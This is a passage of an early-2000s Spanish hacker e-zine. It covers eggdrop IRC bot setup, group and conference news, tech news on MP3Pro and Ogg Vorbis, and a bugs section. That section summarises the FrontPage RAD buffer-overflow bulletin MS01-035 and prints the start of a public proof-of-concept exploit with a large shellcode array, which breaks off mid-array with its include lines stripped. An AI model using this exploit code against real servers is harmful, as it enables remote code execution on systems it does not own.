Una vez que el robot se haya conectado, procedes a enviarle un privado por el
IRC, poniendo la siguiente linea :
/msg Bot hello
El bot te reconocera como su propietario u Owner, procedes a configurar tu clave
/msg Bot PASS tuclave
Ahora le haces un DCC Chat, pones tu clave y digitas .die , todos los
comandos del robot dentro del Chat son precedidos por un . como indicador de
comando. Tambien puedes matar el PID del proceso ejecutandoce del Bot.
#kill -9 <#PID>
Luego de haber echo esto, procedes a ejecutar el robot sin necesidad de poner
el parametro -m
#./eggdrop conf
Aquí te muestro los parametros para ejecución del bot :
-n Ejecuta el robot en modo no background, mostrandote todos los
procesos del bot en la terminal de la consola.
-nt Ejecuta el robot en modo no background, mostrandote un entorno
parecido al ircII.
-nc Ejecuta el robot en modo no background, mostrandote información
del canal cada 10sg.
-m Se utiliza la primera vez en la ejecución de un eggdrop, para
crear el archivo de usuarios.
-v Solo muestra la version del eggdrop al momento de desconectarce.
Niveles de acceso al robot.
Los comandos que puedas ejecutar tanto por DCC chat como por MSG, estan
definidos de acuerdo al nivel de acceso que tengas al robot.
n (owner) es el creador del robot, el máximo nivel.
m (master) tiene acceso a adicionar/eliminar/modificar
usuarios en el canal.
o (op) Puede tener estado de operador en el canal.
d (deop) No puede tener estado de operador en el canal.
k (kick) Un usario con este flag, es automaticamente
expulsado del canal.
f (friend) Este flag indica estar en la lista de Friends
del robot.
a (auto-op) El robot da automaticamente el modo de
Operador al entrar al canal, siempre en cuando el parametro
autoop de la configuracion este +autoop
v (auto-voice) El robot da automaticamente el modo de
Voice al entrar al canal, siempre en cuando el parametro
autovoice de la configuracion este en +autovoice
Para visualizar los comandos a los que tienes acceso, solo digita .help
Comentarios/sugerencias a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 13. Noticias CDLR ::--..
Parece mentira que despues de tanto tiempo sin saber de nosotros, no
tengamos ninguna noticia provechosa que dar .. xDD Na, en serio, que aunque
parezca que estamos dormidos y que pasamos de todo ... la verdad es que
estamos tan solo 'algo' dormidos, asi que no te preocupes xD Lo cierto es
que ahora mismo Taker anda escribiendo unos advisories y esta en contacto
con algun developer para fixear cierto bug que localizo por ahi ... ya
veremos cuando el developer toma medidas y se hace publico el tema.
Otas cosas mas concretas ... a saber:
>--[HACKIT 2002]
¿Que es Hackit?
Hackit es la primera CON de Hacking y nuevas tecnologias que se realizara
en chile durante el verano del 2002. En ese encuentro se realizaran
diversas actividades que van desde charlas hasta foros abiertos donde se
discutiran temas de interes.
¿Quienes organizan la HACKIT?
En teoria varios grupos dedicados a la seguridad informatica. Entre ellos
0wn3d, EST, 350cc, Underchile, CDLR y pueden ser mas.
¿Donde se realizara el encuentro?
En una primera instancia pensamos en relizar la CON en la V region. Pero por
un tema de presupuesto esta se realizara en Santiago en un lugar a
confirmarse.
¿Quienes pueden participar en la CON?
Cualquier persona que este interesada en el tema , previo pago de la
inscripcion correspondiente. La idea es no cerrar las puertas a nadie,
estamos interesados en compartir con gente de diferentes sectores y enfoques,
eso si se debera guardar la compostura para lo cual habra un equipo de
seguridad dentro del evento encargada de mantener el orden. (si querias
patearle el trasero a alguien .. lo sentimos pero no sera en la HACKIT)
¿Que actividades se realizaran?
Se crearan varios espacios .. la idea es reunir a todos en un salon general
donde podras llevar tu tarro. En dicho salon general se realizaran concursos
, y podras jugar en red en tus ratos de ocio. Existiran otros espacios para
las conferencias y zonas de debates.
¿Existira algun tipo de norma?
Si existiran normas generales que se informaran a su debido tiempo. como por
ejemplo .. estara prohibido contar tus hazañas en la red a no ser que estes
con personas de tu absoluta confianza.
¿Donde puedo estar informado del tema?
Estamos levantando el sitio "www.hackit.cl" donde podras hacer una
preinscripcion e informarte sobre las ultimas noticias de la CON.
>--[RC5]
Seguimos dando ca~a al proyecto del RC5, que por cierto tenemos que
agradecer a todos los que estan apuntados a nuestro grupo mandando
bloques, todos estos:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Luis Ernesto
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Participant #265,711
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Si todavia no sabes que es esto del RC5, proyecto Bovine, bloques enviados
y demas, puedes informarte en http://www.cdlr.org/proyectos.htm donde tambien
esta la informacion necesaria para apuntarse a nuestro equipo, el 10377.
http://stats.distributed.net/rc5-64/tmsummary.php3?team=10377
>--[MK Linux]
El proyecto de distribucion de cd's de linux sigue adelante con exito, si
quieres colaborar con cd's virgenes, haciendo copias, o si necesitas alguna
distribucion puedes ponerte en contacto con nosotros en el mail
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
y ya veremos que podemos hacer.
>--[Cambios en el staff]
Varios miembros han dejado el grupo por falta de tiempo y poca dedicacion al
mismo. De la misma forma, Evilnet ha ingresado en las filas de CDLR,
bienvenido!
>--[Seguridad-NT]
La lista que tenemos sobre Seguridad en Windows NT sigue en pie. Si quieres
subscribirte manda un mail vacio a la siguiente direccion:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Deberas confirmar la subscripcion respondiendo el mail que se te enviara
desde yahoo y ya estaras dentro.
>--[Proyecto_R 12]
Bien ... como siempre, la salida del proximo numero depende del numero y
calidad de las colaboraciones recibidas. Estamos muy contentos por la
cantidad de articulos que nos habeis enviado para este numero 11, y
esperamos que la cosa continue asi. Pero que no por enviar muchos articulos
se vaya a mermar la calidad, :D
Eso si, si quereis enviar algun articulo debeis seguir ciertas reglas
basicas:
- Sin faltas de ortografia, esto es muy importante, hemos recibido
autenticas joyas en cuanto a ortografia se refiere. No se publicara
ningun articulo mal escrito, con faltas graves ....
Y esto incluye esas chorradas de escribir en mode 31337 ...
- Si enviais articulos muy grandes, no los envieis por partes, hacedlo todo
de una vez y nosotros seremos los que lo dividamos, o no, en capitulos.
- Que sea de calidad, no es comodo decir a alguien que su articulo no
cumple unos minimos de calidad, eso debeis reconocerlo vosotros mismos.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 14. Noticias del mundo del espectaculo ::--..
by CDLR
.SET crackeada
El website del e-zine hacker mas importante en castellano sufre de un robo de
su dominio www.set-ezine.org desde hace ya varias semanas. Se dice por ahi
que por una negligencia de networksolutions a la hora de confiar en los faxes
que se les envia con cambios en los registros de dominios, ahora el dominio
del grupo apunta a una web hospedada en un server gratuito.
En esta web se hacen duras criticas contra varios de los miembros del staff
de SET, ensa~andose especialmente con uno de ellos.
La noticia no merece mas lineas... Eso no es un hack, ni siquiera un
crack,... es un ataque personal. Da igual si es cierto o no, la verdad es
que apesta.
.Campa~a Anti-LSSI
En un movimiento sin precedentes hasta ahora en la Internet espa~ola, y
siguiendo la iniciativa de Kriptopolis en contra del anteproyecto de ley
conocido como LSSI, que pretende regular los contenidos de la red, miles de
internautas estan secundando la campa~a en contra de dicha ley.
Realmente resulta esperanzador que todavia la comunidad de internet se
movilice por una causa tan justa como es eliminar el anteproyecto de ley
LSSI. A estas alturas supongo que no hace falta explicar lo que es,
www.kriptopolis.com Todos debemos colaborar, porque a todos nos afecta, ahora
ocurre en Espa~a, pero no sabemos donde sera ma~ana ....
.Nuevamente Microsoft se pone en el ojo del huracan.
Windows XP agrega una nueva caracteristica que podria levarlo nuevamente a
problemas judiciales, como los que tuvo con el explorer.
La version beta de de este sistema obliga al usuario a adquirir una cuenta
del servicio Passport para usar las opciones de mensajero instantaneo y
caracteristicas telefonicas.
Segun algunos criticos este sistema permitiria establecer un monopolizar las
identidades de los usuarios.
.IBM respalda linux
IBM opina que linux ha producido una revolucion en el mundo de los negocios,
y que ahora es el sistema operativo por excelencia que abarca desde grandes
corporaciones a peque~as compa~ias.
Es por esto que IBM ha decidido dedicar, para este a~o, 1 billon de dolares
de su presupuesto anual para investigacion y desarrollo a linux, e invertiran
mas de 300 millones de dolares en servicios de linux en los proximos 3 a~os.
Podemos ver como IBM ya ha hecho alianzas con algunas de las compa~ias mas
grandes de linux en el mundo (RedHat, Caldera, SuSE, Turbolinux), y que se
esta tomando en serio el asunto, lo que promete ser muy beneficioso para el
futuro desarrollo y expansion de este sistema operativo.
Para los que desconfian de grandes corporaciones entrometiendose en sistemas
libres, o para los que quieren ver algunos de los adelantos tecnologicos que
IBM ha echo sobre este tema, visiten la pagina sobre linux de IBM:
www.ibm.com/linux
.MP3Pro, ¿el proximo estandar de la musica para Internet?
En medio de la polemica levantada por el caso Napster, Thomson Multimedia
busca revolucionar de nuevo el mercado con el lanzamiento del formato MP3Pro.
Un nuevo algoritmo de codificacion (codec) que proporcionara un rendimiento
de 128 Kbps ocupando el mismo tama~o que un archivo codificado a la mitad, a
64 Kbps. Mayor calidad a menor espacio, y, segun han adelantado fuentes de la
compa~ia, sin mecanismos anticopia. ¿Sera este el futuro de la musica en
Internet?.
Viernes, 9 marzo 2001 DAVID YAGÜE, iBrujula.com Thomson Multimedia ultima el
lanzamiento de lo que puede convertirse en el nuevo estandar musical en la
Red. El MP3Pro, desarrollado por Coding Technologies, una empresa con
filiales en Suecia y Alemania, y un grupo de trabajo que se desprendio del
Fraunhofer Institute, el nuevo codec ofrece una calidad sobresaliente usando
la mitad de espacio que su predecesor, el famoso MP3. Por otra parte, MP3Pro
sera totalmente compatible tanto con los antiguos formatos, como con los
reproductores de audio. Asi, los archivos codificados en MP3 podran
ejecutarse en cualquier reproductor de MP3Pro. Thomson ha adelantado que el
nuevo codec sera implementado en los entornos Windows 98 y ME y en los
sistemas Mac y Linux y se espera que a principios del proximo mes de abril el
formato ya este listo para su lanzamiento.
Un poco de historia: Para encontrar el origen del formato MP3 hace falta
remontarse veinte a~os atras, cuando los ingenieros de la Universidad de
Erlangen-Nuremberg (Alemania) trabajaban en un algoritmo capaz de transmitir
musica a traves de la linea telefonica. Poco se imaginaban entonces que su
trabajo se convertiria en una autentica revolucion social. Sus estudios
fueron retomados en 1987 por el Instituto Fraunhofer para circuitos
integrados (IIS). Los ingenieros de este comenzaron a trabajar en la
compresion de audio en el marco del proyecto EU 147 de EUREKA. Junto con la
Universidad Erlangen (Alemania) y el profesor Dieter Seitzer, finalmente
lograron un algoritmo que fue estandarizado bajo el nombre ISO-MPEG Audio
Layer III, el famoso MP3. En Mayo de 1988 se reunio por primera vez el Moving
Pictures Expert Group (MPEG), una asociacion que pretendia unificar criterios
para la creacion de nuevos formatos multimedia. Mediante la fijacion de una
serie de estandares, la asociacion MPEG admitio distintos formatos de
compresion para ser revisados. Compresion 12:1. ¿Como se consiguio el
milagro? La hipotesis que usaron los investigadores para el desarrollo del
algoritmo de codificacion es que el oido humano no es capaz de escuchar todos
los sonidos que son emitidos. Por tanto, el metodo de codificacion permitia
determinar y eliminar aquellos sonidos que no llegarian a ser reconocidos por
el oido humano y se podria lograr una compresion mayor. De este modo,
eliminando aquellas frecuencias que no son percibidas por el usuario final se
llego a establecer el concepto conocido como "Perceptual Audio Coding"
(Codificacion perceptual de audio). Un nuevo sistema que permitio a los
ingenieros del Instituto Fraunhofer llegar a comprimir los archivos de sonido
bajo 'ratios' nunca vistos hasta aquel momento.
Un segundo de musica, con calidad de CD, ocupa 176.400 bytes en un CD de
audio, o bajo un archivo de extension WAV (sin comprimir). Asi, una cancion
de cuatro minutos tendra un tama~o de 42.336.000 bytes. Sin embargo, esta
misma cancion comprimida con el formato MP3 ocupa, aproximadamente, 3.500.000
bytes, unas 12 veces menos. Lo que permite, en teoria grabar doce CD´s de
musica en uno solo si se graba en formato MP3. El negocio de la musica La
inclusion del formato MP3 como estandar para la grabacion y distribucion de
musica supuso una verdadera revolucion para los usuarios informaticos. En
este sentido, su combinacion con Internet levanto ampollas en el sector
discografico. Las principales compa~ias observaban preocupadas como
circulaban miles y miles de canciones por la Red sin recibir ninguna
remuneracion a cambio. Actualmente, segun datos de la RIAA, el organismo
encargado de proteger los derechos de autor de la musica por Internet, se
descargan alrededor de 1.000 millones de canciones en formato MP3
mensualmente, lo que redunda en una importante perdida de ingresos para la
industria discografica, que ha visto seriamente mermados sus ingresos desde
la aparicion del famoso formato. Si alguien se pregunta el porque de tanta
polemica en torno a este estandar, solo hace falta tener en cuenta dos datos.
En primer lugar el negocio discografico mueve, solo en Estados Unidos, 40.000
millones de dolares. Asi pues, hay mucho dinero en juego de las grandes
compa~ias discograficas. Y estas no estan dispuestas a regalar ni un centavo
a los consumidores. En segundo lugar, segun los buscadores estandares de
Internet, MP3 es la segunda palabra mas buscada detras de "sexo". No resulta
extra~o entonces, que sitios como mp3.com, mp3.org o el mas famoso caso
Napster hayan acaparado la atencion del sector discografico. El pago de
derechos, cuotas mensuales o, en los casos mas extremos, la decision judicial
de cese de actividades han sido las medidas mas comunes, aunque, dada la
falta de regulacion de la que adolece el mundo de la Red, aun es pronto para
hablar del sistema que se usara en un futuro proximo. Aunque no todos han
perdido con el MP3, Thomson Multimedia, actual propietaria de los derechos de
explotacion del formato, junto con el Instituto Fraunhofer, recibe un 1% del
precio de venta de cada archivo MP3, con un minimo de 15.000 dolares.
Mientras que las compa~ias que venden hardware MP3 han de pagar 50 centavos
por unidad con el mismo minimo de 15.000 dolares. No obstante los que peor lo
tienen son las compa~ias que realizan compresores ya que han de pagar 5
dolares por unidad. Unos ingresos que pretende aumentar, cobrando unas tasas
anuales a las numerosas emisoras de radio 'online' que han aparecido durante
los ultimos a~os.
Ogg Vorbis: la alternativa libre Al igual que en el sector de los sistemas
operativos, el sistema de codigo abierto tambien llega al sector de la
musica, con la filosofia de ser un sistema libre, gratuito y al alcance de
toda la comunidad multimedia. El sistema es totalmente abierto, ello
significa que, a diferencia del MP3, su empleo y comercializacion es
totalmente libre, no existiendo ningun tipo de cargos sobre su uso y
distribucion.
Concretamente, Ogg Vorbis es un formato de audio comprimido de alta calidad,
nacido del proyecto Xiphophorus, que admite hasta 255 canales de audio
independientes, lo cual lo situa al mismo nivel alcanzado por el popular MP3.
El unico inconveniente de este formato es que no admite la compresion a baja
calidad, quedando limitado a un ratio de entre 128 y 160 Kbps, en el que,
segun las primeras pruebas es superior al MP3. Sin embargo, a pesar de su
avanzado estado de desarrollo, los algoritmos de este nuevo formato estan aun
en fase de evaluacion, 'Request For Comments' (Peticion de Comentarios), de
manera que las especificaciones finales todavia no se han establecido.
Tomado de:
http://mcd.imbecil.com/sections.php?op=printpage&artid=9
.La revolucion del formato Vorbis .Ogg
Que es Vorbis Ogg?
Como todos vosotros sabeis la mayor parte del formato MP3 fue desarrollado
por el Instituto Fraunhofer Aleman. Lo que no todo el mundo sabe es que dicha
tecnologia, a diferencia de la creencia general, no es libre. De hecho el
Instituto Fraunhofer ha licenciado sus derechos sobre el formato MP3 a
Thomsom Multimedia que actualmente esta obteniendo considerables ingresos por
el.
Las compa~ias que venden MP3 han de pagar un 1% del precio de venta de cada
MP3, con un minimo de 15.000 dolares. Las que venden hardware MP3 han de
pagar 50 centavos por unidad con el mismo minimo de 15.000 dolares. No
obstante los que lo tienen peor son las compa~ias que realizan compresores ya
que han de pagar 5 dolares por unidad.
Ademas en la pagina web de Thomsom se especifica claramente que las
previsiones de la compa~ia pasan por empezar a cobrar a finales de a~o a las
empresas que usen el formato MP3 para emitir radio desde Internet. A partir
de entonces Thomson empezara a cobrar un minimo anual y un porcentaje.
Esto ha significado un importante traspies para Musicmatch y ha paralizado
muchos de los proyectos de compresores libres. Algunos de los mas conocidos
(Bladeenc, Lame, etc...) han comenzado a publicar sus fuentes para que sea el
propio usuario el que compile el programa y evitar con esta treta tener que
pagar los derechosa Thomson.
En vista de lo cual y ante las malas expectativas que se avecinan se ha
desarrollado el formato Ogg Vorbis. Inicialmente ya se han desarrollado
varios plugins para los reproductores mas conocidos del mercado.
**Caracteristicas tecnicas del Ogg Vorbis.
Ogg Vorbis es un formato de audio comprimido de alta calidad y proposito
general (44.1-48.0kHz, 16+ bit y polifonico, pues admite hasta 255 canales de
audio independientes), lo cual situa a Vorbis en la misma categoria que que
MPEG-1 audio layer 3, MPEG-4 audio (AAC y TwinVQ), y PAC.
De hecho podemos hablar de Ogg Vorbis como un compresor MPEG-4, que esta
intentando ponerse a la cabeza del resto de competidores que existen en este
formato, en concreto hablamos de AAC and TwinVQ.
Actualmente el formato no admite la compresion a bajos bitrates, no obstante
los desarrolladores nos han confirmado que el algoritmo ya esta sobre el
papel y que muy pronto esta caracteristica estara disponible para los
archivos ogg.
Los ficheros con formato Ogg Vorbis poseen la extension "ogg" y son solo el
comienzo de una familia de productos multimedia que OggSquish esta
desarrollando como parte del proyecto Xiphophorus.
A pesar de su avanzado estado de desarrollo, los algoritmos de este nuevo
formato estan aun en fase de 'Request For Comments' (Peticion de
Comentarios), de manera que cualquier tipo de sugerencia o aportacion por
parte de la comunidad multimedia sera bienvenida antes de cerrar las
especificaciones finales.
Ogg vs. Mp3
Las pruebas que hemos realizado con varios archivos ogg nos demuestran que la
potencia necesaria para codificar y decodificar en este formato, es similar a
la necesaria para hacerlo bajo MP3. No obstante hemos de tener en cuenta que
los algoritmos de compresion y descompresion estan aun en sus primeras fases
por lo que una vez que sean optimizados podemos aseguraros que sera bastante
mas rapido que el MP3.
De todas formas Vorbis aun no esta lo suficientemente maduro como para ser
comparado seriamente, no obstante parece ser que a ratios de 128-160 kbps
produce codigo mas optimizado que MP3.
Aspectos Legales.
Ademas el sistema es totalmente abierto, ello significa que a diferencia del
MP3 su empleo y comercializacion es totalmente libre, no existiendo ningun
tipo de cargos sobre su uso y distribucion.
Otro aspecto que no podemos dejar de lado es la presion que la RIAA y otras
asociaciones estan ejerciendo sobre las especificaciones de los nuevos
formatos de audio MP4, de manera que el control sobre los contenidos en los
nuevos formatos va a ser total.
Fases de Codificacion/Descodificacion del Formato Ogg
Fases de Codificacion en el formato Ogg Stream
Analisis. Un programa que codifique en formato Vorbis toma un peque~o
segmento de datos de audio, analiza el contenido y determina la
representacion compacta mas optima.
Codificacion. Para cada bloque de sonido el encoder empaqueta la se~al en
bruto de manera que el tama~o es mucho mas peque~o que el original.
Streaming. A continuacion los paquetes en bruto son reestructurados en una
cadena continua de octetos. Fases de
Decodificacion en el formato Ogg Stream:
Descomposicion del Flujo. El decodificador ejecuta el proceso inverso al
anterior, extrayendo la secuencia inicial a partir del bloque de paquetes.
Decodificacion. Ahora se reconstruye la representacion de la se~al a partir
de los paquetes en bruto.
Sintesis. Finalmente se reconstruye la se~al de audio original a partir desde
la se~al decodificada.
Mas informacion en http://www.vorbis.org
Esto fue tomado de la FAQ sobre Vorbis de Hispamp3.com
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 15. Bugs & Xploits ::--..
by Taker & teespy
Largo tiempo desde el ultimo articulo decente que hablo de bugs...
A veces se pone uno a filosofar y viene el dilema, hacer facil la vida a
los Kiddies o Informar a la gente... he ahi el dilema... :|
Bien, este no tan excelente viene a dar inicio a lo que puede llamarse
nuevamente la seccion de Bugs, vamos a tratar de mantenerla al dia, por
ahora vamos con un par de bugs de Microsoft y otro par de unos *nix [thanx
Tee ;) ]
Sorry por lo cortico. :(
*****************************************************************************
Vendor: Microsoft
Vulnerabilidad: Subcomponente RAD Extensiones de Frontpage
Parches:
Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=31038
Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30727
-----------------------------------------------------------------------------
Microsoft en su boletin MS01-035 ha emitido una alerta de seguridad
advirtiendo a sus usuarios de la vulnerabilidad detectada en un subcomponente
de las Extensiones FrontPage, en este caso el subcomponente es el Visual
Studio RAD (Remote Application Deployment).
Este se utiliza para hacer desarrollos de sitios Web y aplicaciones
orientadas a la Web por medio de InterDev.
Este subcomponente se encuentra afectado por una vulnerabilidad de
desbordamiento de bufer, asi un usuario malicioso podria enviar paquetes
creados especialmente para tratar de ejecutar codigo malicioso en el servidor.
Microsoft tambien ha anunciado que el impacto puede no ser muy alto, ya que
este subcomponente no se instala por defecto (ni con las Extensiones de
Frontpage, ni con el IIS 4.0 ni con el IIS 5.0), y que al ser seleccionado
especificamente para su instalacion, se activa un mensaje alertando que este
solo debe ser instalado en equipos para desarrollo y nunca en equipos que
esten conectados a Internet.
Exploit:
/*
* fpse2000ex.c - Proof of concept code for fp30reg.dll overflow bug.
* Copyright (c) 2001 - Nsfocus.com
*
* DISCLAIMS:
* This is a proof of concept code. This code is for test purpose
* only and should not be run against any host without permission from
* the system administrator.
*
* NSFOCUS Security Team <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
* http://www.nsfocus.com
*/
#include
#include
#include
#include
#include
#include
#include
#include
/* fat shellcode ;) */
char shellcode[] =
"\xeb\x1a\x5f\x56\x56\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x5\x34"
"\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe1\xff\xff\xff\xff\x21\x46\x2b\x46"
"\xb6\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x4e\x5c\x55\x55\x13\xed\xa8\xaa\xaa\x12"
"\x66\x66\x66\x66\x59\x1\x6d\x2f\x66\x5d\x55\x55\xaa\xaa\xaa\xaa\x21\xef\xa2"
"\x21\x22\x2e\xaa\xaa\xaa\x23\x27\x62\x5d\x55\x55\x21\xff\xa2\x21\x28\x22\xaa"
"\xaa\xaa\x23\x2f\x6e\x5d\x55\x55\x21\xe7\xa2\x21\xfb\xa2\x23\x3f\x6a\x5d\x55"
"\x55\x43\x61\xaf\xaa\xaa\x25\x2f\x16\x5d\x55\x55\x27\x17\x5a\x5d\x55\x55\xce"
"\xb\xaa\xaa\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x2f\x5a\x5d"
"\x55\x55\x55\x55\x55\x55\x21\x2f\x16\x5d\x55\x55\x29\x42\xad\x23\x2f\x5e\x5d"
"\x55\x55\x6d\x2f\x12\x5d\x55\x55\xaa\xaa\x4a\xdd\x42\xcd\xaf\xaa\xaa\x29\x17"
"\x66\x5d\x55\x55\xaa\xa5\x2f\x77\xab\xaa\xaa\x21\x27\x12\x5d\x55\x55\x2b\x6b"
"\xaa\xaa\xab\xaa\x23\x27\x12\x5d\x55\x55\x2b\x17\x12\x5d\x55\x55\xaa\xaa\xaa"
"\xd2\xdf\xa0\x6d\x2f\x12\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x3f\x12\x5d\x55\x55"
"\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x2f\x30\x70\xab\xaa\xaa\x21\x27"
"\x12\x5d\x55\x55\x21\xfb\x96\x21\x2f\x12\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba"
"\x2b\x53\xfa\xef\xaa\xaa\xa5\x2f\xd3\xab\xaa\xaa\x21\x3f\x12\x5d\x55\x55\x21"
"\xe8\x96\x21\x27\x12\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x12\x5d\x55\x55\x23"
"\x3f\x1e\x5d\x55\x55\x21\x2f\x1e\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x12\x5d\x55"
"\x55\x23\x27\x6\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5"
"\x2f\x99\xab\xaa\xaa\x21\x2f\x6\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5"
"\x2f\x8a\xab\xaa\xaa\x21\x27\x12\x5d\x55\x55\x23\x27\xe\x5d\x55\x55\x21\x3f"
"\x1e\x5d\x55\x55\x21\x2f\x12\x5d\x55\x55\xa9\xe8\x8a\x23\x2f\x6\x5d\x55\x55"
"\x6d\x2f\x2\x5d\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x2\x5d\x55\x55\x29\x6b"
"\xab\x23\x27\x2\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\x29\x68\xae\x23\x3f\x6\x5d"
"\x55\x55\x21\x2f\x1e\x5d\x55\x55\x21\x27\x2\x5d\x55\x55\x91\xe2\xb2\xa5\x27"
"\x6a\xaa\xaa\xaa\x21\x3f\x6\x5d\x55\x55\x21\xa8\x21\x27\x12\x5d\x55\x55\x2b"
"\x96\xab\xed\xcf\xde\xfa\xa5\x2f\xa\xaa\xaa\xaa\x21\x3f\x6\x5d\x55\x55\x21\xa8"
"\x21\x27\x12\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5\xc9\xeb\xa5\x2f\x2e\xaa\xaa"
"\xaa\x21\x3f\x2\x5d\x55\x55\xa9\x3f\x2\x5d\x55\x55\xa9\x3f\x12\x5d\x55\x55"
"\x21\x2f\x1e\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x2f\x6\x5d"
"\x55\x55\x21\x27\x1e\x5d\x55\x55\x21\xfb\xba\x21\x2f\x6\x5d\x55\x55\x27\xe6"
"\xba\x55\x23\x27\x6\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\xa9\x3f\x6\x5d\x55\x55"
"\xa9\x3f\x6\x5d\x55\x55\xa9\x3f\x6\x5d\x55\x55\xa9\x3f\x12\x5d\x55\x55\x21\x2f"
"\x1e\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x6\x5d\x55\x55\x21\x2f\x6\x5d"
"\x55\x55\xa9\x2f\x12\x5d\x55\x55\x23\x2f\x66\x5d\x55\x55\x41\xaf\x43\xa7\x55"
"\x55\x55\x43\xbc\x54\x55\x55\x27\x17\x5a\x5d\x55\x55\x21\xed\xa2\xce\x9\xaa"
"\xaa\xaa\xaa\x29\x17\x66\x5d\x55\x55\xaa\xdf\xaf\x43\xf4\xa9\xaa\xaa\x6d\x2f"
"\x6\x5d\x55\x55\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x6\x5d\x55\x55\x29\x6b\xab\x23"
"\x27\x6\x5d\x55\x55\x29\x17\x6\x5d\x55\x55\xa2\xd7\xc4\x21\x5e\x21\x3f\x16"
"\x5d\x55\x55\xf8\x21\x2f\xe\x5d\x55\x55\xfa\x55\x3f\x66\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x21\x27\x6\x5d\x55\x55\x23\x2e\x27\x7a\x5d\x55\x55\x41"
"\xa5\x21\x3f\x16\x5d\x55\x55\x29\x68\xab\x23\x3f\x16\x5d\x55\x55\x21\x2f\x16"
"\x5d\x55\x55\xa5\x14\xa2\x2f\x63\xdf\xba\x21\x3f\x16\x5d\x55\x55\xa5\x14\xe8"
"\xab\x2f\x6a\xde\xa8\x41\xa8\x41\x78\x21\x27\x16\x5d\x55\x55\x29\x6b\xab\x23"
"\x27\x16\x5d\x55\x55\x43\xd0\x55\x55\x55\x6d\x2f\x8e\x5d\x55\x55\xa6\xaa\xaa"
"\xaa\x6d\x2f\x82\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x2f\x86\x5d\x55\x55\xab\xaa"
"\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\x8e\x5d\x55\x55\xf8\x27\x2f\xe2\x5d\x55\x55"
"\xfa\x27\x27\xe6\x5d\x55\x55\xfb\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
